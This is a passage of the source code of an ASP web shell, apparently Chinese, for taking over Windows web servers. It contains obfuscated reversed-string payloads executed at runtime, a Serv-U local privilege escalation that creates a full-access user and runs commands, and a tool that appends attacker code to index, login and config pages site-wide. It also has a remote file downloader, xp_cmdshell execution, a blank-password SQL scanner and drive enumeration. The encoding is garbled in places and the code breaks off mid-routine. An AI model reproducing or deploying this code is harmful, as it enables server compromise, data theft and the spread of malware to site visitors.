tpircs<¨~ SRR ~¨~>mrof/<>'2'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>¨~¨~05¨~¨~=ezis '¨~&f&¨~'=eulav 'f'=di 'neddih'=epyt 'f'=eman tupni<¨~ SRR ~¨~>¨~¨~05¨~¨~=ezis '¨~&dmc&¨~'=eulav 'c'=di 'neddih'=epyt 'c'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&trop&¨~'=eulav 'trop'=di 'neddih'=epyt 'trop'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&ssap&¨~'=eulav 'p'=di 'neddih'=epyt 'p'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&resu&¨~'=eulav 'u'=di 'neddih'=epyt 'u'=eman tupni<¨~ SRR ~¨~>'nusdlog'=eman 'tsop'=dohtem mrof<¨~ SRR ~a=)¨~a¨~(noisses tes ~tiuq & resuwen & niamodwen & niamodled & tm & ssapnigol & resunigol dnes.a ~¨~¨~ ,¨~¨~ ,eurT,¨~1s/nimdapu/4112903/¨~ & trop & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.a ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=a tes ~neht 1 = 1noitca fi ~)f,¨~:c¨~,resuwen(ecalper=resuwen ~fLrCbv & ¨~TIUQ¨~ = tiuq ~fLrCbv & ¨~PDCLEMAWR|\\:c=sseccA ¨~ & fLrCbv & ¨~enoN=soitaR-¨~ & fLrCbv & ¨~ralugeR=epyTdrowssaP-¨~ & fLrCbv & ¨~metsyS=ecnanetniaM-¨~ ~_ & fLrCbv & ¨~0=mumixaMatouQ-¨~ & fLrCbv & ¨~0=tnerruCatouQ-¨~ & fLrCbv & ¨~0=tiderCsoitaR-¨~ & fLrCbv & ¨~1=nwoDoitaR-¨~ ~_ & fLrCbv & ¨~1=pUoitaR-¨~ & fLrCbv & ¨~0=eripxE-¨~ & fLrCbv & ¨~1-=tuOemiTnoisseS-¨~ & fLrCbv & ¨~006=tuOemiTeldI-¨~ & fLrCbv & ¨~1-=sresUrNxaM-¨~ ~_ & fLrCbv & ¨~0=nwoDtimiLdeepS-¨~ & fLrCbv & ¨~0=pUtimiLdeepS-¨~ & fLrCbv & ¨~1-=PIrePnigoLsresUxaM-¨~ & fLrCbv & ¨~0=elbanEatouQ-¨~ ~_ & fLrCbv & ¨~0=drowssaPegnahC-¨~ & fLrCbv & ¨~0=nigoLwollAsyawlA-¨~ & fLrCbv & ¨~0=neddiHediH-¨~ & fLrCbv & ¨~0=eruceSdeeN-¨~ ~_ & fLrCbv & ¨~1=shtaPleR-¨~ & fLrCbv & ¨~0=elbasiD-¨~ & fLrCbv & ¨~=eliFseMnigoL-¨~ & fLrCbv & ¨~\\:c=riDemoH-¨~ ~_ & fLrCbv & ¨~do=drowssaP-¨~ & fLrCbv & ¨~og=resU-¨~ & fLrCbv & tropptf & ¨~=oNtroP-¨~ & fLrCbv & ¨~0.0.0.0=PI-¨~ & fLrCbv & ¨~PUTESRESUTES-¨~ = resuwen ~fLrCbv & ¨~=yeKOZT ¨~ & fLrCbv & ¨~0=elbanEOZT-¨~ & fLrCbv & ¨~0|1|1-|¨~ & tropptf & ¨~|0.0.0.0|4112903=niamoD-¨~ & fLrCbv & ¨~NIAMODTES-¨~ = niamodwen ~fLrCbv & ¨~ECNANETNIAM ETIS¨~ = tm ~fLrCbv & tropptf & ¨~=oNtroP ¨~ & fLrCbv & ¨~0.0.0.0=PI-¨~ & fLrCbv & ¨~NIAMODETELED-¨~ = niamodled ~fLrCbv & ssap & ¨~ ssaP¨~ = ssapnigol ~fLrCbv & resu & ¨~ resU¨~ = resunigol ~3=tuoemit ~00556 = tropptf ~fi dne ~)2,f(tfel=f ~esle ~)(htapg=f ~neht ¨~¨~=f fi ~))¨~f¨~(tseuqer(mirt=f ~))¨~c¨~(tseuqer(mirt = dmc ~))¨~trop¨~(tseuqer(mirt = trop ~))¨~p¨~(tseuqer(mirt = ssap ~))¨~u¨~(tseuqer(mirt = resu ~dne.esnopser neht )1noitca(ciremunsi ton fi ~)¨~1noitca¨~(tseuqer=1noitca ~1noitca mid ~tiuq ,resuwen ,niamodwen ,tm ,niamodled ,ssapnigol ,resunigol ,dmc ,tropptf ,trop ,ssap ,resu miD" ExeCuTe(UZSS(Hacker)) function Gpath() on error resume next err.clear set f=Server.CreateObject("Scripting.FileSystemObject") if err.number>0 then gpath="c:" exit function end if gpath=f.GetSpecialFolder(0) gpath=lcase(left(gpath,2)) set f=nothing end function Function GName() If request.servervariables("SERVER_PORT")="80" Then GName="http://" & request.servervariables("server_name")&lcase(request.servervariables("script_name")) Else GName="http://" & request.servervariables("server_name")&":"&request.servervariables("SERVER_PORT")&lcase(request.servervariables("script_name")) End If End Function Err.Clear Case "nofw" Hacker="¨~>mrof/<>ÐÐÖ´=eulav timbus=epyt tupni<¨~SRR~¨~>p<>aeratxet/<¨~&)¨~26¨~(rhC&¨~%)¨~¨~1¨~¨~(tseuqer labolGetucexE%¨~&)¨~06¨~(rhC&¨~Âë´ú»°¾äһɨ·Àɱ·À> 001=sloc 03=swor txet=eman aeratxet<¨~SRR~¨~>p<>'psa.pleh\¨~&)¨~/¨~(htaPpaM.revreS&¨~'=eulav 04=ezis hTaP=eman txet=epyt tupni<:¼þÎĵÄÈëдHSW-OSFÃâ¨~SRR~¨~>wfon=noitca?=noitca 'tsop'=dohtem mrof<¨~SRR~fi dne~k Etirw.EsnoPsER~noitcnuF dnE~pool~remiT = emiTdnE~n> ¨~&)L(b&¨~ ohce c/¨~=stnemugra.knilllehsjbo~¨~exe.dmc¨~=hTaP.knilllehsjbo~knilteg.mEtiredlofllehs= knilllehsjbo tes~)¨~knl.±¾Ê¼Ǩ~(emanesrap.redlofllehs=mEtiredlofllehs tes~)¨~¼þ¸½\Ðò³Ì\µ¥²Ë¡¹Ê¼¿ª¡¸\rEsU tluafeD\sgnitteS dna stnemucoD\:C¨~(ecapseman.llehs=redlofllehs tes~¨~>rb/<¨~&))L(b(edocnelmth.rEvrES Etirw.EsnoPsER~k OT 1=L roF~)¨~noitacilppa.llehs¨~(tcejboetaerc.rEvrES=llehs tes~txeN~1=nt~fI dnE~)¨~¨~,)01(rhc,)k(b(EcAlpER=)k(b~)i(yarraym=)k(b~)k(b evresERp miDeR~1+k=k~nEht )01(rhc><)i(yarraym dna )31(rhc><)i(yarraym dna ¨~¨~ ><)i(yarraym dna 0=nt fI~txen~fi dne~rof tixe~0=nt~nEht )31(rhc><)1,j,)i(yarraym(dim dna )01(rhc><)1,j,)i(yarraym(dim dna ¨~ ¨~><)1,j,)i(yarraym(dim fi~))i(yarraym(nel ot 1=j rof~)yarraym(dnuoBU ot 0=i roF~))31(rhC,txet(tilpS =yarraym~0=k~)(b miD~yarrAym miD~))43(rhc&¨~^¨~,)43(rhc,txet(EcAlpER=txet~)¨~|^¨~,¨~|¨~,txet(EcAlpER=txet~)¨~+^¨~,¨~+¨~,txet(EcAlpER=txet~)¨~:^¨~,¨~:¨~,txet(EcAlpER=txet~)¨~&^¨~,¨~&¨~,txet(EcAlpER=txet~)¨~<^¨~,¨~<¨~,txet(EcAlpER=txet~)¨~>^¨~,¨~>¨~,txet(EcAlpER=txet~)¨~^^¨~,¨~^¨~,txet(EcAlpER=txet~nEht ¨~¨~>µ±Ç°ÍøÕ¾¾ø¶Ô·¾¶:")&Server.MapPath("/")&("") ASP_SELF=Request.ServerVariables("PATH_INFO") s=Request("fd") if s="" then s=Server.MapPath("/") ex=Request("ex") pth=Request("pth") newcnt=Request("newcnt") addcode = Request("code") if addcode="" then addcode="" If ex<>"" AND pth<>"" Then select Case ex Case "edit" CALL file_show(pth) Case "save" CALL file_save(pth) End select Else RRS("
") RRS("
") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("
Òª¹ÒÂíµÄÎļþ¼Ð (¾ø¶Ô·¾¶)£º
Òª¹ÒÂíµÄ´úÂë:
") End If Function IsPattern(patt,str) Set regEx=New RegExp regEx.Pattern=patt regEx.IgnoreCase=True retVal=regEx.Test(str) Set regEx=Nothing If retVal=True Then IsPattern=True Else IsPattern=False End If End Function if request.form("submit")<>"" then If s="" or addcode="" Then RRS "ÇëÊäÈë¹ÒÂíµÄ·¾¶»ò´úÂë!" response.end else If IsPattern("[^ab]{1}:{1}(\\|\/)",s) Then sch s End If end if Sub sch(s) oN eRrOr rEsUmE nExT Set fs=Server.createObject("Scripting.FileSystemObject") Set fd=fs.GetFolder(s) Set fi=fd.Files Set sf=fd.SubFolders For Each f in fi rtn=f.path step_all rtn Next If sf.Count<>0 Then For Each l In sf sch l Next End If End Sub Sub step_all(agr) retVal=IsPattern("(\\|\/)(default|index|conn|admin|bbs|reg|help|upfile|upload|cart|class|login|diy|no|ok|del|config|sql|user|ubb|ftp|asp|top|new|open|name|email|img|images|web|blog|save|data|add|edit|game|about|manager|main|article|book|bt|config|mp3|vod|error|copy|move|down|system|logo|QQ|520|newup|myup|play|show|view|ip|err404|send|foot|char|info|list|shop|err|nc|ad|flash|text|admin_upfile|admin_upload|upfile_load|upfile_soft|upfile_photo|upfile_softpic|vip|505)\.(htm|html|asp|php|jsp|aspx|cgi|js)\b",agr) If retVal Then step1 agr step2 agr Else Exit Sub End If End Sub Sub step1(str1) RRS "
¡Ì "&str1&" _" RRs "Down " RRS "edit " RRS "Del " RRS "Copy " RRS "Move
" End Sub Sub step2(str2) Set fs=Server.createObject("Scripting.FileSystemObject") isExist=fs.FileExists(str2) If isExist Then Set f=fs.GetFile(str2) Set f_addcode=f.OpenAsTextStream(8,-2) f_addcode.Write addcode f_addcode.Close Set f=Nothing End If Set fs=Nothing End Sub Err.Clear Case "replace" Fpath=Request("fd") addcode = Request("code") addcode2 = Request("code2") pcfile=request("pcfile") checkbox=request("checkbox") checkbox1=request("checkbox1") ShowMsg=request("ShowMsg") FType=request("FType") zfile=request("zfile") for i= 0 to ubound(split(server.mappath("."),"\")) d=split(server.mappath("."),"\") dir=dir&d(i)&"\" filename=dir&"dir.txt" On Error Resume Next SET FSO=Server.CreateObject("Scripting.FileSystemObject") SET FR = FSO.CreateTextFile(filename,true) IF NOT FSO.FileExists(filename) then else FR.close FSO.DeleteFile filename,True exit for end if next if zfile="" then zfile="default|index|conn|admin|reg|main|vip|qq|mm" if Ftype="" then Ftype="htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" if Fpath="\" then Fpath=Server.MapPath("\") if Fpath="." or Fpath="" then Fpath=dir if addcode="" then addcode="" if checkbox="" then checkbox=request("checkbox") if checkbox1="" then checkbox1=request("checkbox1") if pcfile="" then pcfileName=Request.ServerVariables("SCRIPT_NAME") pcfilek=split(pcfileName,"/") pcfilen=ubound(pcfilek) pcfile=pcfilek(pcfilen) end if RRS "

" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "
ÅúÁ¿Ìæ»»Æ÷-ÎļþÌæ»»Ð޸Ť¾ß
 ÍøÕ¾¸ùĿ¼¡°\¡±£º"&Server.MapPath("/")&"
 ±¾³ÌÐòĿ¼¡°.¡±£º"&Server.MapPath(".")&"
 Îļþ·¾¶£º ×¢Òâ:¸Ã·¾¶ÊÇ×î´ó¿ÉдĿ¼(×Ô¶¯Åбð)
 ÊÇ·ñ±äÐδúÂ룺 дÈë´úÂëʱ°Ñ´úÂë±äÐκóдÈëÎļþ - ΪÁË·ÀÖ¹ÅúÁ¿Ìæ»»µô´úÂë,´úÂë100%Õý³£ÔËÐÐ
 ÅųýÎļþ£º ÀýÈ磺1.asp|2.asp|3.asp
 ÎļþÀàÐÍ£º ÊäÈëÒªÐ޸ĵÄÎļþÀàÐÍ[À©Õ¹Ãû]
" RRS" ²éÕÒÄÚÈÝ£º" RRS"
 ½«Ì滻Ϊ£º
--±ê¼Ç½âÊÍ--[³É¹¦£º ¡Ì Åųý£º¡Á Öظ´£º¡Á]
" if request("submit")="¿ªÊ¼Ö´ÐÐ" then RRS "" RRS "" call InsertAllFiles(Fpath,addcode,pcfile) end if Sub InsertAllFiles(Wpath,Wcode,pc) Server.ScriptTimeout=999999999 if right(Wpath,1)<>"\" then Wpath=Wpath &"\" Set WFSO = CreateObject("Scripting.FileSystemObject") on error resume next Set f = WFSO.GetFolder(Wpath) Set fc2 = f.files For Each myfile in fc2 Set FS1 = CreateObject("Scripting.FileSystemObject") FType1=split(myfile.name,".") FType2=ubound(FType1) if Ftype2>0 then FType3=LCase(FType1(FType2)) else FType3="ÎÞ" end if if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) NewCode=Replace(tfile1.readall,Wcode,addCode2) Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) objCountFile.Write NewCode objCountFile.Close RRS"" Next Set fsubfolers = f.SubFolders For Each f1 in fsubfolers NewPath=Wpath&""&f1.name InsertAllFiles NewPath,Wcode,pc Next set tfile=nothing Set FSO = Nothing set tfile=nothing set tfile2=nothing Set WFSO = Nothing End Sub Case "Logout":Session.Contents.Remove("mgler"):Response.Redirect URL Case Else MainMenu() End Select ShowErr() Sub Message(state,msg,flag) Response.Write "
½á¹ûÎļþ¾ø¶Ô·¾¶±à¼­À¸
¡Ì"&Wpath&myfile.name Set objCountFile=Nothing else RRS"¡Á"&Wpath&myfile.name end if RRS "ÏÂÔØ " RRS "±à¼­ " RRS "ɾ³ý " RRS "¸´ÖÆ
" Response.Write "
" Response.Write "
ϵͳÐÅÏ¢
" Response.Write "" Response.Write " " Response.Write "
"&state&"

"&msg&"
" If flag=0 Then Response.Write "" Else Response.Write "" End if Response.Write "
" End Sub Function Red(str) Red = "" & str & "" End Function Sub ScanDriveForm() 'ɨÃè´ÅÅÌÐÅÏ¢ Dim FSO,DriveB Set FSO = Server.Createobject("Scripting.FileSystemObject") Response.Write "" Response.Write "
" For Each DriveB in FSO.Drives Response.Write "" response.write "" response.write " " response.write "" response.write "" Next Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "
´ÅÅÌ/ϵͳÎļþ¼ÐÐÅÏ¢
ÅÌ·û"&DriveB.DriveLetter&":ÀàÐÍ" Select Case DriveB.DriveType Case 1: Response.write "¿ÉÒƶ¯" Case 2: Response.write "±¾µØÓ²ÅÌ" Case 3: Response.write "ÍøÂç´ÅÅÌ" Case 4: Response.write "CD-ROM" Case 5: Response.write "RAM´ÅÅÌ" Case else: Response.write "δ֪ÀàÐÍ" End Select Response.Write "
WindowsÎļþ¼Ð"&FSO.GetSpecialFolder(0)&"
System32Îļþ¼Ð"&FSO.GetSpecialFolder(1)&"
ϵͳÁÙʱÎļþ¼Ð"&FSO.GetSpecialFolder(2)&"
" Response.Write "" Response.Write "
µ±Ç°ÍøÕ¾¾ø¶Ô·¾¶:"&Server.MapPath("/")&"" Response.Write "
Ö¸¶¨Îļþ¼Ð²éѯ£º" Response.Write " " Response.Write "¡¡Ö¸¶¨Îļþ¼Ð·¾¶¡£Èç D:\Program Files\Cs
" Set FSO=Nothing End Sub Sub ScanDrive(Drive) 'ɨÃèÖ¸¶¨´ÅÅÌ Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D If Drive <> "" Then Set FSO = Server.Createobject("Scripting.FileSystemObject") Set TestDrive = FSO.GetDrive(Drive) If TestDrive.IsReady Then Temp_Str = "
  • ´ÅÅÌ·ÖÇøÀàÐÍ£º" & Red(TestDrive.FileSystem) & "
  • ´ÅÅÌÐòÁкţº" & Red(TestDrive.SerialNumber) & "
  • ´ÅÅ̹²ÏíÃû£º" & Red(TestDrive.ShareName) & "
  • ´ÅÅÌ×ÜÈÝÁ¿£º" & Red(Int(TestDrive.TotalSize/1073741824)) & Red("GB") & "
  • ´ÅÅ̾íÃû£º" & Red(TestDrive.VolumeName) & "
  • ´ÅÅ̸ùĿ¼:" & ScReWr((Drive & ":\")) Set BaseFolder = TestDrive.RootFolder Set TempFolders = BaseFolder.SubFolders For Each D in TempFolders Temp_Str = Temp_Str & "
  • Îļþ¼Ð£º" & ScReWr(D) Next Set TempFolder = Nothing Set BaseFolder = Nothing Else Temp_Str = Temp_Str & "
  • ´ÅÅ̸ùĿ¼:" & Red("²»¿É¶Á:(") Dim TempFolderList,t:t=0 Temp_Str = Temp_Str & "
  • " & Red("Çî¾ÙĿ¼²âÊÔ£º") TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp","wwwroot") For i = 0 to Ubound(TempFolderList) If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then t = t+1 Temp_Str = Temp_Str & "
  • ·¢ÏÖÎļþ¼Ð£º" & ScReWr(Drive & ":\" & TempFolderList(i)) End if Next If t=0 then Temp_Str = Temp_Str & "
  • ÒÑÇî¾Ù" & Drive & "Å̸ùĿ¼£¬µ«Î´Óз¢ÏÖ:(" End if Set TestDrive = Nothing Set FSO = Nothing Temp_Str = Temp_Str & "

    ×¢Ò⣺²»Òª¶à´Îˢб¾Ò³Ã棬·ñÔòÔÚֻдÎļþ¼Ð»áÁôÏ´óÁ¿À¬»øÎļþ!" Message Drive & ":´ÅÅÌÐÅÏ¢",Temp_Str,1 End if End Sub Sub ScFolder(folder) On Error Resume Next Dim FSO,OFolder,TempFolder,Scmsg,S Set FSO = Server.Createobject("Scripting.FileSystemObject") If FSO.FolderExists(folder) Then Set OFolder = FSO.GetFolder(folder) Set TempFolders = OFolder.SubFolders Scmsg = "
  • Ö¸¶¨Îļþ¼Ð¸ùĿ¼£º" & ScReWr(folder) For Each S in TempFolders Scmsg = Scmsg&"
  • Îļþ¼Ð£º" & ScReWr(S) Next Set TempFolders = Nothing Set OFolder = Nothing Else Scmsg = Scmsg & "
  • Îļþ¼Ð£º" & Red(folder & "²»´æÔÚ»òÎÞ¶ÁȨÏÞ!") End if Scmsg = Scmsg & "

    ×¢Ò⣺²»Òª¶à´Îˢб¾Ò³Ã棬·ñÔòÔÚֻдÎļþ¼Ð»áÁôÏ´óÁ¿À¬»øÎļþ!" Set FSO = Nothing Message "Îļþ¼ÐÐÅÏ¢",Scmsg,1 End Sub Function ScReWr(folder) '1.¿É¶Á,²»¿Éд¡£2.²»¿É¶Á,¿Éд¡£3.¿É¶Á,¿Éд¡£4.²»¿É¶Á,²»¿Éд¡£ On Error Resume Next Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename Set FSO = Server.Createobject("Scripting.FileSystemObject") Set TestFolder = FSO.GetFolder(folder) Set TestFileList = TestFolder.SubFolders RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" For Each A in TestFileList Next If err Then err.Clear ReWrStr = folder & " [²»¿É¶Á," FSO.CreateTextFile folder & RndFilename,True If err Then err.Clear ReWrStr = ReWrStr & "²»¿Éд]" Else ReWrStr = ReWrStr & "¿Éд]" FSO.DeleteFile folder & RndFilename,True End If Else ReWrStr = folder & " [¿É¶Á," FSO.CreateTextFile folder & RndFilename,True If err Then err.Clear ReWrStr = ReWrStr & "²»¿Éд]" Else ReWrStr = ReWrStr & "¿Éд]" FSO.DeleteFile folder & RndFilename,True End if End if Set TestFileList = Nothing Set TestFolder = Nothing Set FSO = Nothing ScReWr = ReWrStr End Function Function downloads() Hacker="fI dnE ~txeN emuseR rorrE nO ~nehT eslaF = edoMgubeDsi fI ~~gnihtoN = maertS teS ~gnihtoN = pttH teS ~ ~)rrE(rrEkhc ~htiW dnE ~esolC. ~fI dnE ~etirWrevo ,htaPeht eliFoTevaS. ~emaNelifteg & ¨~\¨~ & htaPeht = htaPeht ~fI dnE ~¨~txt.hv21¨~ = emaNelifteg ~nehT ¨~¨~ = emaNelifteg fI ~)))¨~/¨~ ,lrUeht(tilpS(dnuoBU()¨~/¨~ ,lrUeht(tilpS = emaNelifteg ~raelC.rrE ~nehT 4003 = rebmuN.rrE fI ~etirWrevo ,htaPeht eliFoTevaS. ~0 = noitisoP. ~ydoBesnopseR.pttH etirW. ~nepO. ~3 = edoM. ~1 = epyT. ~maerts htiW ~ ~fI dnE ~ nehT 4 >< etatSydaeR.pttH fI ~)(dneS.pttH ~eslaF ,lrUeht ,¨~TEG¨~ nepO.pttH ~ ~fI dnE ~1 = etirWrevo ~nehT 2 >< etirWrevo fI ~)¨~PTTHLMX.2LMXSM¨~(tcejbOetaerC.revreS = pttH teS ~)¨~maer¨~&e&¨~ts.bdo¨~&e&¨~da¨~(tcejbOetaerC.revreS = maerts teS ~)¨~etirWrevo¨~(tseuqeR = etirWrevo ~)¨~htaPeht¨~(tseuqeR = htaPeht ~)¨~lrUeht¨~(tseuqeR = lrUeht ~etirWrevo ,emaNelifteg ,maerts ,htaPeht ,lrUeht ,pttH miD ~fI dnE ~txeN emuseR rorrE nO ~nehT eslaF = edoMgubeDsi fI ~WR etirW.esnopseR ~¨~>elbat/<>rt/<>dt/<¨~ & WR=WR ~¨~>mrof/<¨~ & WR=WR ~¨~¡£¾¶Â·µØ±¾·Ç¶ø£¬htaPµÄÆ÷Îñ·þÊÇhtaPµÄÀïÕ⣺Òâ×¢;psbn&¨~ & WR=WR ~¨~>rb<>rb<>tcAeht=eman lrUmorFnwod=eulav neddih=epyt tupni<¨~ & WR=WR ~¨~ >' ÔØÏ '=eulav timbus=epyt tupni< ¸Ç¸²ÔÚ´æ>dekcehc 2=eulav etirWrevo=eman xobkcehc=epyt tupni<¨~ & WR=WR ~¨~ >85=ezis ¨~¨~¨~ & ))¨~.¨~(htaPpaM.revreS(edocnElmtH & ¨~¨~¨~=eulav htaPeht=eman tupni<:htaP;psbn&¨~ & WR=WR ~¨~>/rb< >08=ezis '//:ptth'=eulav lrUeht=eman tupni<:rddA;psbn&¨~ & WR=WR ~¨~>tsop=dohtem mrof<>rb<>dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<ÔØϽÓÖ±>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~ ¨~>rb<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ =WR" ExeCuTe(UZSS(Hacker)) End Function FuncTion MMD() Hacker="tlusERrts &¨~>rb<¨~ & )¨~DMM¨~(mrof.tsEuqER EtirW.EsnoPsER:gnihtoN = nnoCoda tes:fi dnE:)¨~>rb<¨~,)31(rhc,tlusERrts(EcAlpER = tlusERrts:)¨~;tg&¨~,¨~>¨~,tlusERrts(EcAlpER = tlusERrts:)¨~;tl&¨~,¨~<¨~,tlusERrts(EcAlpER = tlusERrts:)¨~;psbn&¨~,¨~ ¨~,tlusERrts(EcAlpER = tlusERrts:gnihtoN = tlusERcer tes:fi dnE:pooL:txeNevoM.tlusERcer:)0(tlusERcer & )31(rhc & tlusERrts = tlusERrts:FOE.tlusERcer TON elihW oD:nEht FOE.tlusERcer TON fI:)yreuQrts(etucexE.nnoCoda = tlusERcer tes:¨~'¨~ & )¨~DMM¨~(mrof.tsEuqER & ¨~' llehsdmc_px.obd.retsam cexe¨~ = yreuQrts:di&¨~=DI rEsU;¨~&drowsSaP&¨~=drowsSaP;1.BDELOLQS=redivorP¨~ nepO.nnoCoda:)¨~noitcennoC.BDODA¨~(tcejbOetaerC.rEvrES=nnoCoda tes:))¨~U¨~(mrof.tsEuqER(mirt=di:))¨~P¨~(mrof.tsEuqER(mirt =drowsSaP:nEht ¨~¨~><))¨~DMM¨~(mrof.tsEuqER(mirt fI:¨~¨~=IS:IS Etirw.EsnoPsER:¨~>elbat/<>rt/<>mrof/<>ÐÐÖ´=eulav timbus=epyt tupni<>ÂëÃÜlqssm=eulav P=eman txet=epyt tupni<>Ãû»§ÓÃlqssm=eulav U=eman txet=epyt tupni<> 53=ezis DMM=eman txet=epyt tupni<ÁîÃüDMC>¨~¨~¨~¨~=noitca tsop=dohtem mrof=eman mrof<>rt=ssalc rt<>¨~¨~%001¨~¨~=htdiw elbat<>rb<¨~=IS" ExeCuTe(UZSS(Hacker)) end Function sub ScanPort() Hacker="FI DNE~¨~Ãë¨~&emiteht&¨~£ºÊ±·Ñ>rh<¨~ etirW.esnopseR~))1remit-2remit(tni(rtsc=emiteht~remit = 2remit~txeN~fI dnE~txeN~txeN~fI dnE~fI dnE~¨~>rbrb xkees fI~)¨~-¨~ ,)i(pmt(rtSnI = xkees~eslE~))i(pmt ,xxx & tratSpi(nacS llaC~ nehT ))i(pmt(ciremunsI fI~)pmt(dnuobU oT 0 = i roF~))¨~-¨~,)uh(pi(rtSnI-))uh(pi(neL,1+)¨~-¨~,)uh(pi(rtSnI,)uh(pi(diM ot )1,1+)¨~.¨~,)uh(pi(veRrtSnI,)uh(pi(diM = xxx roF~))¨~.¨~,)uh(pi(veRrtSnI,1,)uh(pi(diM = tratSpi~eslE~txeN~fI dnE~fI dnE~¨~>rbrb xkees fI~)¨~-¨~ ,)i(pmt(rtSnI = xkees~eslE~))i(pmt ,)uh(pi(nacS llaC~ nehT ))i(pmt(ciremunsI fI~)pmt(dnuobU oT 0 = i roF~nehT 0 = )¨~-¨~,)uh(pi(rtSnI fI~)pi(dnuobU ot 0 = uh roF~)¨~,¨~,)¨~pi¨~(mroF.tseuqer(tilpS = pi~)¨~,¨~,)¨~trop¨~(mroF.tseuqer(tilpS = pmt~¨~>rb<>B/<:¸æ±¨Ãèɨ>B<>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR~remit = 1remit~nehT ¨~¨~ >< )¨~nacs¨~(mroF.tseuqer fI~WR etirW.esnopseR~¨~>elbat/<>rt/<>dt/<¨~ & WR=WR~¨~>mrof/<>p/<¨~ & WR=WR~¨~u-vreSΪ85934,¿ØÔ¶CNVΪ0095,¿ØÔ¶erehwynAcpΪ1365£ºÃ÷˵;psbn&>rbrb<>rb<>'111'=eulav 'nacs'=di 'neddih'=epyt 'nacs'=eman tupni<¨~ & WR=WR~¨~>' Ãèɨ '=eulav 'timbus'=epyt 'timbus'=eman tupni<¨~ & WR=WR~¨~;psbn&;psbn&>'¨~&tsiLtroP&¨~'=eulav '06'=ezis 'txet'=epyt 'trop'=eman tupni<;psbn&:tsiL troP;psbn&>rb<¨~ & WR=WR~¨~>'06'=ezis '¨~&PIrevreS&¨~'=eulav 'pi'=di 'txet'=epyt 'pi'=eman tupni<;psbn&:sserddaPI;psbn&>p<¨~ & WR=WR~¨~>';eurt=delbasid.timbus.1mrof'=timbuSno ''=noitca 'tsop'=dohtem '1mrof'=eman mrof<>rb<>dt<>rt<¨~ & WR=WR~¨~>rb<>rt/<>dt/<Æ÷Ãèɨ¿Ú¶Ë>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~=WR~fi dne~)¨~pi¨~(mroF.tseuqer=PI~esle~¨~1.0.0.721¨~=PI~neht ¨~¨~=)¨~pi¨~(mroF.tseuqer fi~fi dne~)¨~trop¨~(mroF.tseuqer=tsiLtroP~esle~¨~0095,1365,85934,9833,3341,544,931,531,011,08,52,32,12¨~=tsiLtroP~neht ¨~¨~=)¨~trop¨~(mroF.tseuqer fi~0006777 = tuoemiTtpircS.revreS" ExeCuTe(UZSS(Hacker)) end sub Sub Scan(targetip, portNum) On Error Resume Next set conn = Server.CreateObject("ADODB.connection") connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=sa;Password=;" conn.ConnectionTimeout = 1 conn.open connstr If Err Then If Err.number = -2147217843 or Err.number = -2147467259 Then If InStr(Err.description, "(Connect()).") > 0 Then RRS(targetip & ":" & portNum & ".........¹Ø±Õ
    ") Else RRS(targetip & ":" & portNum & ".........¿ª·Å
    ") End If End If End If End Sub function sql() if session("login")="" then response.write "
    ûÓеǽ
    " else response.write "
    Í˳öµÇ½
    " end if if session("login")="" then response.write "" response.write "" response.write "
    SQLÌáȨ

    " response.write "

     SqlÓû§Ãû£º" response.write "" response.write " SqlÃÜÂ룺" response.write "" response.write "

     Sql·þÎñÆ÷£º" response.write "" response.write " Sql¶Ë¿Ú£º" response.write "" response.write " " response.write "

    " else response.write "" response.write "" response.write "
    SQLÌáȨ

    " response.write " ×é¼þ¼ì²â£º

    " response.write "

    " response.write " ×é¼þ»Ö¸´£º

    " response.write "

    " response.write " ÏµÍ³ÃüÁ " response.write "" response.write "  " response.write "" response.write "

    " response.write "
    " response.write "

     Ö´ÐÐÓï¾ä£º" response.write "" response.write "  " response.write "" response.write "


    " end if if request("sqlaaa")="login" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & request.form("server") & "," & request.form("port") & ";password=" & request.form("pass") & ";uid=" & request.form("name") if err.number=-2147467259 then response.write "Êý¾ÝÔ´Á¬½Ó´íÎó£¬Çë¼ì²é£¡" response.end elseif err.number=-2147217843 then response.write "Óû§ÃûÃÜÂë´íÎó´íÎó£¬Çë¼ì²é£¡" response.end elseif err.number=0 then strquery="select @@version" set recresult = adoconn.execute(strquery) response.write "

    " if instr(recresult(0),"NT 5.0") then response.write "Windows 2000ϵͳ" session("system")="2000" elseif instr(recresult(0),"NT 5.1") then response.write "Windows xpϵͳ" session("system")="xp" elseif instr(recresult(0),"NT 5.2") then response.write "Windows 2003ϵͳ" session("system")="2003" else response.write "ÆäËü²Ù×÷ϵͳ" session("system")="no" end if strquery="select is_srvrolemember('sysadmin')" set recresult = adoconn.execute(strquery) if recresult(0)=1 then response.write "
